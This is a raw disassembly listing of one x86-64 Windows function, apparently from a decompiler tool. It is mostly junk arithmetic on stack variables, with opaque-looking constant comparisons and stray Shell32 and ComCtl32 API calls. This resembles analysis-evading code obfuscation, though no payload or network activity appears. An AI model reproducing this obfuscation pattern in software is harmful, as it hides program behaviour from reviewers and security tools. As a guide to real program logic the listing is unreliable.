movsx ecx, word [rsp + 0x2a38]
sub eax, ecx
mov word [rsp + 0x2a34], ax
movzx eax, word [rsp + 0x2a40]
movzx ecx, word [rsp + 0x2a48]
add eax, ecx
mov word [rsp + 0x2a44], ax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b60]
sub rcx, rax
mov rax, rcx
mov qword [0x14019d018], rax
mov rax, qword [rsp + 0xd050]
mov ecx, dword [rsp + 0x6c78]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5938], eax
movsx eax, word [rsp + 0x2a50]
movsx ecx, word [rsp + 0x2a2c]
sub eax, ecx
mov word [0x14019ef94], ax
movzx eax, word [rsp + 0x2a44]
movzx ecx, word [str.L_nbT]
add eax, ecx
mov word [rsp + 0xcc8], ax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2a3c], ax
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaa88]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xcfe8], rax
mov rax, qword [rsp + 0xcfd8]
movzx ecx, al
mov rax, qword [rsp + 0xaa78]
shl rax, cl
mov qword [rsp + 0xce58], rax
mov rcx, qword [rsp + 0xb6e0]
call fcn.140182e60
jmp 0x14017d43d
movsx eax, byte [rsp + 0x4e3]
mov rcx, qword [rsp + 0xce70]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x347], al
movzx eax, byte [0x14019ef90]
mov rcx, qword [rsp + 0xce60]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x4a1], al
mov rax, qword [rsp + 0xaa88]
movzx ecx, al
mov rax, qword [0x14019d018]
sar rax, cl
mov rcx, qword [rsp + 0xccf8]
mov rdx, qword [rsp + 0xd000]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jge 0x14017d48e
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
movsx ecx, word [0x14019ef94]
shl eax, cl
mov word [rsp + 0x2a38], ax
jmp 0x14017d551
mov eax, dword [0x14019efb0]
mov ecx, dword [rsp + 0x6c24]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd058]
mov rdx, qword [rsp + 0xcfb0]
mov edx, dword [rdx]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jbe 0x14017d4be
jmp 0x14017d551
mov rax, qword [rsp + 0xcfb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6bd0]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x6c24]
mov edx, dword [rsp + 0x5cf0]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x14017d505
mov rax, qword [rsp + 0xd058]
mov ecx, dword [rsp + 0x6c24]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6bd0], eax
jmp 0x14017d551
movzx eax, word [rsp + 0x2a4c]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x2a40]
and ecx, edx
cmp eax, ecx
jg 0x14017d551
mov rax, qword [rsp + 0xcef0]
mov rcx, qword [rsp + 0xce58]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xaa78], rax
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd000]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xcfe8], rax
mov rax, qword [0x14019d008]
mov rcx, qword [rsp + 0xaa88]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xcfe8], rax
mov rax, qword [rsp + 0xcec0]
mov rcx, qword [rsp + 0xce78]
mov qword [rsp + 0x1e020], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1e020]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xcf80], rax
movzx ecx, word [rsp + 0x1548]
call fcn.140182fd0
jmp 0x14017d67e
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
mov rcx, qword [0x14019efa0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xcf28]
mov word [rcx], ax
mov r9d, 0xeb
mov r8d, 0xc1
mov edx, 0xce
mov rcx, qword [rsp + 0xce20]
call qword [sym.imp.SHELL32.dll_SHUpdateImageW]
movsx eax, byte [0x14019ef91]
movsx ecx, byte [rsp + 0x346]
sub eax, ecx
mov byte [rsp + 0x4e1], al
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
sub eax, ecx
movsx ecx, word [rsp + 0x2a2c]
movsx edx, word [rsp + 0x2a50]
add ecx, edx
cmp eax, ecx
jl 0x14017d67e
mov r9d, dword [rsp + 0x5938]
movzx r8d, word [rsp + 0x2a38]
mov edx, dword [rsp + 0x5918]
movzx ecx, word [rsp + 0x2a50]
call fcn.140181f10
mov rax, qword [rsp + 0xcdc8]
mov qword [rsp + 0x1e028], rax
movabs rax, 0x719f95049aa0b0
cmp qword [rsp + 0x1e028], rax
je 0x14017d6d4
movabs rax, 0x74c89cb662ab96
cmp qword [rsp + 0x1e028], rax
je 0x14017d6b8
jmp 0x14017d6e1
mov r8d, dword [0x14019efa8]
mov edx, dword [rsp + 0x6c94]
mov ecx, dword [rsp + 0x5918]
call fcn.14017e790
jmp 0x14017d6e1
mov rcx, qword [rsp + 0xaa78]
call fcn.140182e60
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4e1]
sub eax, ecx
mov byte [rsp + 0x4e0], al
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xce58]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa78], rax
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
mov qword [rsp + 0x1e030], rax
movabs rax, 0x75a7cba142a791
cmp qword [rsp + 0x1e030], rax
je 0x14017d747
jmp 0x14017d764
mov r8d, dword [rsp + 0x5918]
mov edx, dword [rsp + 0x5938]
mov ecx, dword [rsp + 0x6c78]
call fcn.14017e790
jmp 0x14017d780
movzx eax, word [0x14019ef98]
movzx ecx, word [rsp + 0x2a3c]
sar eax, cl
mov rcx, qword [rsp + 0xcf28]
mov word [rcx], ax
jmp 0x14017d91a
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2a2c], ax
movzx eax, word [rsp + 0x2a40]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2a3c], ax
mov rax, qword [rsp + 0xaa78]
mov rcx, qword [rsp + 0xce58]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcef0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x4e2]
movzx ecx, byte [rsp + 0x3fb]
add eax, ecx
mov rcx, qword [rsp + 0xce60]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x2b2]
sub ecx, edx
cmp eax, ecx
jne 0x14017d8fe
mov eax, dword [rsp + 0x63c8]
mov ecx, dword [rsp + 0x6c78]
or ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x5918]
mov edx, dword [rsp + 0x6c94]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jge 0x14017d878
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [0x14019ef91]
xor eax, ecx
mov byte [rsp + 0x4e1], al
mov eax, dword [rsp + 0x6bd0]
mov ecx, dword [rsp + 0x6c24]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5cf0], eax
call fcn.140181f50
jmp 0x14017d8fc
movzx eax, word [rsp + 0x2a48]
movzx ecx, word [rsp + 0x2a44]
imul eax, ecx
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
mov rdx, qword [0x14019efa0]
movzx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jg 0x14017d8dc
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xceb8]
mov qword [rsp + 0x1e038], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1e038]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9b60], rax
jmp 0x14017d8fc
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a50]
shl eax, cl
mov rcx, qword [rsp + 0xced0]
mov word [rcx], ax
jmp 0x14017d91a
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a44]
sub eax, ecx
mov word [0x14019ef98], ax
mov eax, dword [rsp + 0x6c24]
mov ecx, dword [rsp + 0x5cf0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bd0], eax
movsx eax, word [rsp + 0x2a38]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2a2c], ax
movzx eax, word [rsp + 0x2a4c]
mov rcx, qword [0x14019efa0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2a3c], ax
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a50]
and eax, ecx
mov word [0x14019ef94], ax
movsx eax, word [rsp + 0x2a50]
movsx ecx, word [rsp + 0x2a38]
xor eax, ecx
mov word [rsp + 0x2a2c], ax
mov eax, dword [rsp + 0x6bd0]
mov ecx, dword [rsp + 0x6c24]
sub ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x5cf0]
je 0x14017d9dd
mov rax, qword [rsp + 0xaa78]
mov rcx, qword [rsp + 0xce58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb6e0], rax
jmp 0x14017da10
mov eax, dword [rsp + 0x5cf0]
imul eax, dword [rsp + 0x6c24]
cmp eax, dword [rsp + 0x6bd0]
jbe 0x14017d9f7
jmp 0x14017da10
mov eax, dword [rsp + 0x6bd0]
mov ecx, dword [rsp + 0x5cf0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c24], eax
movzx eax, byte [rsp + 0x4e2]
mov rcx, qword [rsp + 0xce60]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x3fb], al
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4e2]
sar eax, cl
mov rcx, qword [rsp + 0xce60]
mov byte [rcx], al
jmp 0x14017dd09
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3fb]
or eax, ecx
movzx ecx, byte [rsp + 0x4e2]
mov dword [rsp + 0x8e04], ecx
movzx edx, byte [rsp + 0x2b2]
movzx ecx, dl
mov edx, dword [rsp + 0x8e04]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x14017dc9b
movzx eax, byte [rsp + 0x2b2]
movzx ecx, byte [0x14019ef90]
shl eax, cl
mov byte [rsp + 0x3fb], al
movsx eax, word [rsp + 0x2a2c]
movsx ecx, word [rsp + 0x2a50]
sub eax, ecx
mov word [rsp + 0x2a38], ax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a40]
sub eax, ecx
mov word [0x14019ef98], ax
mov rax, qword [rsp + 0xcef0]
mov rcx, qword [rsp + 0xaa78]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb6e0]
mov rdx, qword [rsp + 0xce58]
xor rdx, rcx
mov rcx, rdx
cmp rax, rcx
jb 0x14017dc01
movzx eax, byte [rsp + 0x2b2]
mov rcx, qword [rsp + 0xce60]
movzx ecx, byte [rcx]
sub eax, ecx
movzx ecx, byte [rsp + 0x4e2]
movzx edx, byte [rsp + 0x3fb]
add ecx, edx
cmp eax, ecx
jne 0x14017db82
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
mov rcx, qword [0x14019efa0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xcf28]
mov word [rcx], ax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xcf48]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9b60], rax
jmp 0x14017dbfc
movzx eax, byte [rsp + 0x2b2]
mov rcx, qword [rsp + 0xce60]
movzx ecx, byte [rcx]
sub eax, ecx
movzx ecx, byte [rsp + 0x3fb]
mov dword [rsp + 0x8e08], ecx
movzx edx, byte [rsp + 0x4e2]
movzx ecx, dl
mov edx, dword [rsp + 0x8e08]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jl 0x14017dbe0
mov rax, qword [rsp + 0xcef0]
mov rcx, qword [rsp + 0xce58]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb6e0], rax
jmp 0x14017dbfc
movsx eax, byte [rsp + 0x346]
mov rcx, qword [rsp + 0xce70]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x4e0], al
jmp 0x14017dc99
xor edx, edx
mov eax, dword [rsp + 0x6bd0]
div dword [rsp + 0x6c24]
cmp eax, dword [rsp + 0x5cf0]
jbe 0x14017dc2c
mov rax, qword [rsp + 0xce08]
movzx ecx, word [rax]
call fcn.140182fd0
jmp 0x14017dc99
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xce78]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xaa88]
mov rdx, qword [rsp + 0xb590]
or rdx, rcx
mov rcx, rdx
cmp rax, rcx
jl 0x14017dc7c
mov eax, dword [rsp + 0x5cf0]
movzx ecx, al
mov eax, dword [rsp + 0x6bd0]
shl eax, cl
mov dword [rsp + 0x6c24], eax
jmp 0x14017dc99
movsx eax, word [rsp + 0x2a50]
movsx ecx, word [rsp + 0x2a34]
sar eax, cl
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
jmp 0x14017dd09
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4e1]
shl eax, cl
movsx ecx, byte [rsp + 0x4df]
movsx edx, byte [rsp + 0x346]
sub ecx, edx
cmp eax, ecx
jle 0x14017dd09
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
mov rcx, qword [0x14019efa0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2a3c], ax
mov r9d, dword [rsp + 0x5938]
movzx r8d, word [rsp + 0x2a50]
mov edx, dword [0x14019efac]
movzx ecx, word [rsp + 0x2a38]
call fcn.140181f10
mov r9d, dword [rsp + 0x5938]
mov rax, qword [rsp + 0xced0]
movzx r8d, word [rax]
mov edx, dword [rsp + 0x6c78]
movzx ecx, word [0x14019ef94]
call fcn.140181f10
jmp 0x14017ddae
movzx eax, word [0x14019ef98]
movzx ecx, word [rsp + 0x2a44]
add eax, ecx
mov word [rsp + 0x2a48], ax
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcdc8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xccf8], rax
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0xceb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xcdc8], rax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b60]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb590], rax
movsx eax, word [rsp + 0x2a38]
movsx ecx, word [rsp + 0x2a34]
add eax, ecx
mov word [rsp + 0x2a2c], ax
call fcn.140181f50
jmp 0x14017dec4
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xce78]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcec0], rax
movzx eax, word [0x14019ef98]
movzx ecx, word [rsp + 0x2a3c]
shl eax, cl
mov word [rsp + 0x2a48], ax
movabs rax, 0x7e4bf9d6aa5ffb
mov rcx, qword [rsp + 0xce58]
or rcx, rax
mov rax, rcx
cmp rax, qword [section..data]
jae 0x14017de74
movsx eax, word [rsp + 0x2a34]
movsx ecx, word [rsp + 0x2a2c]
sub eax, ecx
mov word [rsp + 0x2a38], ax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0x9b60]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xb590], rax
mov rcx, qword [rsp + 0xce58]
call fcn.140182e60
jmp 0x14017dec4
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xcdc8]
sar rax, cl
mov rcx, qword [rsp + 0xce78]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0xaa88]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jge 0x14017dec4
mov eax, dword [rsp + 0x6c24]
mov ecx, dword [rsp + 0x5cf0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bd0], eax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
mov byte [rsp + 0x8e0c], al
cmp byte [rsp + 0x8e0c], 0xa5
je 0x14017dee2
jmp 0x14017def0
mov rcx, qword [section..data]
call fcn.140182e60
jmp 0x14017df0c
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a40]
add eax, ecx
mov word [rsp + 0x2a48], ax
jmp 0x14017dfc2
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a40]
shl eax, cl
movzx ecx, word [0x14019ef98]
movzx edx, word [rsp + 0x2a3c]
or ecx, edx
cmp eax, ecx
je 0x14017df3c
jmp 0x14017df56
movzx eax, word [rsp + 0x2a40]
movzx ecx, word [rsp + 0x2a44]
sar eax, cl
mov word [rsp + 0x2a3c], ax
mov eax, dword [rsp + 0x5cf0]
mov ecx, dword [rsp + 0x6bd0]
xor ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x6c24]
jbe 0x14017df8a
movsx eax, word [rsp + 0x2a2c]
movsx ecx, word [rsp + 0x2a34]
shl eax, cl
mov word [0x14019ef94], ax
movabs rax, 0x7785215fa85859
mov rcx, qword [section..data]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xce58], rax
mov eax, dword [rsp + 0x6bd0]
mov ecx, dword [rsp + 0x6c24]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5cf0], eax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2b2]
add eax, ecx
movzx ecx, byte [0x14019d010]
movzx edx, byte [0x14019ef90]
add ecx, edx
cmp eax, ecx
jg 0x14017e04e
mov rax, qword [rsp + 0xcdc8]
mov rcx, qword [rsp + 0xce78]
mov qword [rsp + 0x1e040], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1e040]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xccf8], rax
mov eax, dword [rsp + 0x5938]
sar eax, 0x1a
mov dword [rsp + 0x63c8], eax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2b2]
or eax, ecx
mov rcx, qword [rsp + 0xce60]
mov byte [rcx], al
jmp 0x14017e0c5
movzx eax, word [rsp + 0x2a3c]
mov rcx, qword [0x14019efa0]
movzx ecx, word [rcx]
and eax, ecx
movzx ecx, word [rsp + 0x2a44]
movzx edx, word [rsp + 0x2a40]
xor ecx, edx
cmp eax, ecx
jle 0x14017e0c5
movsx eax, word [rsp + 0x2a38]
movsx ecx, word [rsp + 0x2a2c]
sub eax, ecx
mov word [rsp + 0x2a34], ax
movzx eax, word [rsp + 0x2a3c]
movzx ecx, word [rsp + 0x2a40]
sub eax, ecx
mov word [rsp + 0x2a44], ax
movsx eax, byte [rsp + 0x4e0]
movsx ecx, byte [rsp + 0x346]
sar eax, cl
mov byte [rsp + 0x4df], al
jmp 0x14017e2d6
movabs rax, 0x76ef700afccc86
mov rcx, qword [rsp + 0xce58]
imul rcx, rax
mov rax, rcx
cmp rax, qword [section..data]
ja 0x14017e2d6
movzx eax, word [rsp + 0x2a40]
movzx ecx, word [0x14019ef98]
and eax, ecx
mov word [rsp + 0x2a3c], ax
mov rax, qword [rsp + 0xaa88]
mov rcx, qword [rsp + 0x9b60]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xccf8], rax
mov eax, dword [rsp + 0x63c8]
cdq
mov ecx, 0x2941a5e4
idiv ecx
cmp eax, dword [rsp + 0x5938]
jne 0x14017e24c
movsx eax, word [rsp + 0x2a2c]
movsx ecx, word [0x14019ef94]
sub eax, ecx
movsx ecx, word [rsp + 0x2a38]
mov rdx, qword [rsp + 0xce08]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jl 0x14017e1c9
movzx eax, byte [0x14019ef90]
mov byte [rsp + 0x8e10], al
cmp byte [rsp + 0x8e10], 0x1d
je 0x14017e1ae
cmp byte [rsp + 0x8e10], 0x31
je 0x14017e191
jmp 0x14017e1c7
mov r8d, dword [rsp + 0x63c8]
mov edx, dword [rsp + 0x5938]
mov ecx, dword [rsp + 0x5938]
call fcn.14017e790
jmp 0x14017e1c7
mov eax, dword [rsp + 0x5cf0]
mov ecx, dword [rsp + 0x6c24]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bd0], eax
jmp 0x14017e247
mov eax, dword [rsp + 0x63c8]
add eax, 0x5f9b9d9b
cmp eax, dword [rsp + 0x5938]
jg 0x14017e1f3
mov rax, qword [section..data]
shr rax, 2
mov qword [rsp + 0xce58], rax
jmp 0x14017e247
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0xcdc8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xaa88]
mov rdx, qword [rsp + 0xccf8]
shl rdx, cl
mov rcx, rdx
cmp rax, rcx
jge 0x14017e247
lea r8, [rsp + 0x6bbc]
lea rdx, [fcn.140182e60]
mov rcx, qword [rsp + 0xce38]
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [rsp + 0x6c38], eax
jmp 0x14017e2d6
mov eax, dword [rsp + 0x5cf0]
mov ecx, dword [rsp + 0x6bd0]
or ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x6c24]
jb 0x14017e285
movsx eax, byte [rsp + 0x346]
mov rcx, qword [rsp + 0xce70]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4e0], al
jmp 0x14017e2d6
mov rax, qword [rsp + 0xcdc8]
movzx ecx, al
mov rax, qword [rsp + 0xccf8]
shl rax, cl
mov rcx, qword [rsp + 0xce78]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0xaa88]
sar rdx, cl
mov rcx, rdx
cmp rax, rcx
jg 0x14017e2d6
movsx eax, word [rsp + 0x2a38]
movsx ecx, word [rsp + 0x2a2c]
add eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
mov eax, dword [rsp + 0x6c24]
mov ecx, dword [rsp + 0x5cf0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bd0], eax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4df]
or eax, ecx
mov byte [rsp + 0x4e0], al
movsx eax, word [rsp + 0x2a34]
movsx ecx, word [rsp + 0x2a2c]
shl eax, cl
mov word [0x14019ef94], ax
mov eax, dword [rsp + 0x63c8]
sar eax, 0x69
cmp eax, dword [rsp + 0x5938]
jl 0x14017e339
jmp 0x14017e392
movzx eax, word [rsp + 0x2a40]
movzx ecx, word [0x14019ef98]
add eax, ecx
movzx ecx, word [rsp + 0x2a3c]
cmp eax, ecx
jge 0x14017e371
movsx eax, word [0x14019ef94]
movsx ecx, word [rsp + 0x2a34]
sub eax, ecx
mov word [rsp + 0x2a2c], ax
jmp 0x14017e392
imul eax, dword [rsp + 0x63c8], 0x5af5b9a6
cmp eax, dword [rsp + 0x5938]
jle 0x14017e392
movzx ecx, word [rsp + 0x2a34]
call fcn.140182fd0
mov r8d, dword [rsp + 0x5938]
mov edx, dword [rsp + 0x63c8]
mov ecx, dword [rsp + 0x5938]
call fcn.14017e790
mov rax, qword [rsp + 0xce58]
mov qword [rsp + 0x1e048], rax
movabs rax, 0x72f73738739641
cmp qword [rsp + 0x1e048], rax
je 0x14017e503
movabs rax, 0x7d6515d042a01e
cmp qword [rsp + 0x1e048], rax
je 0x14017e3ee
jmp 0x14017e510
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2b2]
and eax, ecx
movzx ecx, byte [0x14019ef90]
cmp eax, ecx
jg 0x14017e44e
mov rax, qword [rsp + 0x9b60]
movzx ecx, al
mov rax, qword [rsp + 0xcdc8]
shl rax, cl
mov qword [0x14019d008], rax
mov rax, qword [rsp + 0xccf8]
mov rcx, qword [rsp + 0xcdc8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b60], rax
jmp 0x14017e501
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2b2]
imul eax, ecx
movzx ecx, byte [0x14019ef90]
cmp eax, ecx
jne 0x14017e4af
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2b2]
sub eax, ecx
mov rcx, qword [rsp + 0xce60]
mov byte [rcx], al
movabs rax, 0x7465447dd6d29d
mov rcx, qword [section..data]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xce58], rax
jmp 0x14017e501
mov eax, dword [rsp + 0x5938]
or eax, 0x2dff6c0f
cmp eax, dword [rsp + 0x63c8]
je 0x14017e4e1
mov r8d, dword [rsp + 0x5938]
mov edx, dword [rsp + 0x63c8]
mov ecx, dword [rsp + 0x5938]
call fcn.14017e790
jmp 0x14017e501
mov eax, dword [rsp + 0x5938]
sar eax, 0x14
cmp eax, dword [rsp + 0x63c8]
jge 0x14017e501
mov rcx, qword [rsp + 0xce58]
call fcn.140182e60
jmp 0x14017e510
mov rcx, qword [rsp + 0xce58]
call fcn.140182e60
jmp 0x14017e53d
mov r9d, dword [rsp + 0x63c8]
mov rax, qword [rsp + 0xce08]
movzx r8d, word [rax]
mov edx, dword [rsp + 0x63c8]
mov rax, qword [rsp + 0xce08]
movzx ecx, word [rax]
call fcn.140181f10
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [0x14019ef94]
or eax, ecx
mov word [rsp + 0x2a2c], ax
mov rax, qword [rsp + 0x9b60]
movzx ecx, al
mov rax, qword [rsp + 0xcdc8]
sar rax, cl
mov qword [0x14019d008], rax
movsx eax, word [rsp + 0x2a2c]
xor eax, 0x639
mov word [rsp + 0x2a2c], ax
movsx eax, word [rsp + 0x2a2c]
and eax, 0x73e
mov word [rsp + 0x2a2c], ax
movabs rax, 0x75251958d8ceb0
mov rcx, qword [rsp + 0xcdc8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xccf8], rax
movzx eax, byte [0x14019ef90]
sub eax, 0x32
mov byte [0x14019ef90], al
jmp 0x14017e5fc
movsx eax, word [rsp + 0x2a2c]
and eax, 0x648
mov word [rsp + 0x2a2c], ax
movsx eax, word [rsp + 0x2a2c]
xor eax, 0x90
mov word [rsp + 0x2a2c], ax
movsx eax, word [rsp + 0x2a2c]
dec eax
mov word [rsp + 0x2a2c], ax
mov rax, qword [rsp + 0xccf8]
mov qword [rsp + 0x1e050], rax
movabs rax, 0x7d453d828312c3
cmp qword [rsp + 0x1e050], rax
je 0x14017e634
jmp 0x14017e68a
lea r9, [rsp + 0x6bb8]
lea r8, [rsp + 0x6bc8]
lea rdx, [rsp + 0xcdf8]
mov rcx, qword [rsp + 0xcdf8]
call qword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExA]
mov dword [rsp + 0x6bbc], eax
mov rax, qword [rsp + 0xcdc8]
shl rax, 0x3e
mov qword [rsp + 0xccf8], rax
movsx eax, word [rsp + 0x2a2c]
or eax, 0xe0
mov word [rsp + 0x2a2c], ax
movsx eax, word [rsp + 0x2a2c]
add eax, 0x31d
mov word [rsp + 0x2a2c], ax
movsx eax, word [rsp + 0x2a2c]
sub eax, 0x390
mov word [rsp + 0x2a2c], ax
movzx eax, byte [0x14019ef90]
add eax, 0xba
mov byte [0x14019ef90], al
jmp 0x14017e6dd
movsx eax, word [rsp + 0x2a2c]
add eax, 0x688
mov word [rsp + 0x2a2c], ax
movabs rax, 0x77b6ab162413e0
mov rcx, qword [rsp + 0xcdc8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xccf8], rax
movsx eax, word [rsp + 0x2a2c]
and eax, 0x6fc
mov word [rsp + 0x2a2c], ax
movsx eax, word [rsp + 0x2a2c]
xor eax, 0x174
mov word [rsp + 0x2a2c], ax
movabs rax, 0x75228c63ed27b7
mov rcx, qword [rsp + 0xccf8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xccf8], rax
movsx eax, word [rsp + 0x2a2c]
sar eax, 0xa
mov word [rsp + 0x2a2c], ax
movsx eax, word [rsp + 0x2a2c]
shl eax, 8
mov word [rsp + 0x2a2c], ax
mov eax, dword [rsp + 0x692c]
add rsp, 0x25738
ret